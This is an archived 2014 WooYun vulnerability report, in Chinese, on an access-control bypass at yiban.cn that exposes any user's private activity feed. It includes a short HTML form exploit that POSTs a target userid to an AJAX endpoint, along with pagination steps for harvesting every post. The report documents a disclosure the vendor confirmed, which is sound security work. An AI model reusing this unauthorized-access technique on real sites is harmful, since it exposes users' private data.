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漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-050917

漏洞标题:易班网可越权查看任意用户全部动态

相关厂商:yiban.cn

漏洞作者: 夕风号

提交时间:2014-02-14 12:24

修复时间:2014-03-31 12:25

公开时间:2014-03-31 12:25

漏洞类型:未授权访问/权限绕过

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-14: 细节已通知厂商并且等待厂商处理中
2014-02-18: 厂商已经确认,细节仅向厂商公开
2014-02-28: 细节向核心白帽子及相关领域专家公开
2014-03-10: 细节向普通白帽子公开
2014-03-20: 细节向实习白帽子公开
2014-03-31: 细节向公众公开

简要描述:

不管你有没有登陆,不管目标用户隐私如何设置,微博、相册、投票等动态皆可一览无余。

详细说明:

假设目标用户个人主页为http://www.yiban.cn/profile?userid=708484
如果访问者未登陆,则页面会转到登陆页;
如果访问者已登陆,但目标用户设置了访问权限,便又进不去。
怎么办?
上exp:

<html>
<form name="form1" action="http://www.yiban.cn/ajax/user_news_json_2013.php?v=9679" method="POST">
<input name="kind" type="text" value="all" />
<input name="more" type="text" value="" />
<input name="newsid" type="text" value="0" />
<input name="type" type="text" value="1" />
<input name="userid" type="text" value="708484" />
<input type="submit" />
</form>
</html>


提交后得到JSON

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再用JSONLint处理即得清晰结果。
为了得到目标用户的全部动态,只需把input[name='more']的值改为上次所得JSON中最小id值即可。

漏洞证明:

3.png

修复方案:

永远不要忘了ajax的权限设置。

版权声明:转载请注明来源 夕风号@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-02-18 17:34

厂商回复:

感谢

最新状态:

暂无